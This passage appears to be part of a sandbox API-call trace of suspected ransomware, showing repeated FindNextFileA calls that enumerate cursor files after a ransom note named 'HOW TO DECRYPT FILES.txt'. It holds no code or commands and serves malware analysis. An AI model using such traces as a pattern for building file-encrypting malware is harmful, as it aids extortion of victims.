ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0125.456] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.456] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3350130, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa3350130, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe3b52911, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x18fa5c, dwReserved1=0x4f0048, cFileName="lappstrt.cur", cAlternateFileName="")) returned 1 [0125.456] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.456] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa337628d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa337628d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe3e4c469, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="larrow.cur", cAlternateFileName="")) returned 1 [0125.456] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.457] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa337628d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa337628d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe41de539, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="lcross.cur", cAlternateFileName="")) returned 1 [0125.457] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.457] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa337628d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa337628d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe4276ab1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="libeam.cur", cAlternateFileName="")) returned 1 [0125.457] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.457] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa339c3ea, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa339c3ea, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe47d1be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="lmove.cur", cAlternateFileName="")) returned 1 [0125.458] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.458] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa339c3ea, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa339c3ea, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe486a161, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="lnesw.cur", cAlternateFileName="")) returned 1 [0125.458] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.458] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33c2547, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa33c2547, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe48902bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="lnodrop.cur", cAlternateFileName="")) returned 1 [0125.458] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.458] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33c2547, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa33c2547, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe499ac51, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="lns.cur", cAlternateFileName="")) returned 1 [0125.458] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.458] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33c2547, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa33c2547, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe4c947a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="lnwse.cur", cAlternateFileName="")) returned 1 [0125.459] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.459] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33e86a4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa33e86a4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe4d2cd21, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="lwait.cur", cAlternateFileName="")) returned 1 [0125.459] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.459] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33e86a4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0xa33e86a4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xe4d52e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="lwe.cur", cAlternateFileName="")) returned 1 [0125.459] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.459] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6fafbd, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c6fafbd, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69ca9919, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="move_i.cur", cAlternateFileName="")) returned 1 [0125.459] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.459] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6fafbd, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c6fafbd, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69ccfa77, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="move_il.cur", cAlternateFileName="")) returned 1 [0125.459] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.460] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6fafbd, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c6fafbd, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69ccfa77, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="move_im.cur", cAlternateFileName="")) returned 1 [0125.460] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.460] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c72111a, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c72111a, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69cf5bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="move_l.cur", cAlternateFileName="")) returned 1 [0125.460] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.460] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c72111a, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c72111a, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69d1bd33, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="move_m.cur", cAlternateFileName="")) returned 1 [0125.460] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.460] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c747277, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c747277, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69d41e91, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="move_r.cur", cAlternateFileName="")) returned 1 [0125.460] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.461] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c76d3d4, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c76d3d4, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69d67fef, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="move_rl.cur", cAlternateFileName="")) returned 1 [0125.461] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.461] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c76d3d4, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c76d3d4, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69d67fef, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="move_rm.cur", cAlternateFileName="")) returned 1 [0125.473] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.473] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c76d3d4, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c76d3d4, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69d8e14d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="no_i.cur", cAlternateFileName="")) returned 1 [0125.473] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.474] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c793531, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c793531, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69db42ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="no_il.cur", cAlternateFileName="")) returned 1 [0125.474] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.474] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c793531, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c793531, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69db42ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="no_im.cur", cAlternateFileName="")) returned 1 [0125.474] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.474] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7b968e, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c7b968e, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69dda409, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="no_l.cur", cAlternateFileName="")) returned 1 [0125.474] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.475] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7df7eb, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c7df7eb, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69dda409, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="no_m.cur", cAlternateFileName="")) returned 1 [0125.475] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.475] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7df7eb, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c7df7eb, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69e00567, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="no_r.cur", cAlternateFileName="")) returned 1 [0125.475] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.475] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c805948, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c805948, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69e266c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="no_rl.cur", cAlternateFileName="")) returned 1 [0125.475] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.475] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c805948, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c805948, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69e4c823, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="no_rm.cur", cAlternateFileName="")) returned 1 [0125.475] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.476] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c82baa5, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c82baa5, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69e4c823, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="pen_i.cur", cAlternateFileName="")) returned 1 [0125.476] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.476] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c82baa5, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c82baa5, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69e98adf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="pen_il.cur", cAlternateFileName="")) returned 1 [0125.476] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.476] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c851c02, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c851c02, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69e98adf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="pen_im.cur", cAlternateFileName="")) returned 1 [0125.476] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.476] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c851c02, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c851c02, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69ebec3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="pen_l.cur", cAlternateFileName="")) returned 1 [0125.476] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.477] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c851c02, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c851c02, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69ebec3d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="pen_m.cur", cAlternateFileName="")) returned 1 [0125.477] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.477] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c877d5f, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c877d5f, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69ee4d9b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="pen_r.cur", cAlternateFileName="")) returned 1 [0125.477] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.477] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c877d5f, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c877d5f, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69f0aef9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="pen_rl.cur", cAlternateFileName="")) returned 1 [0125.477] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.477] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c89debc, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c89debc, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69f0aef9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="pen_rm.cur", cAlternateFileName="")) returned 1 [0125.477] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.478] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c89debc, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c89debc, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69f571b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, 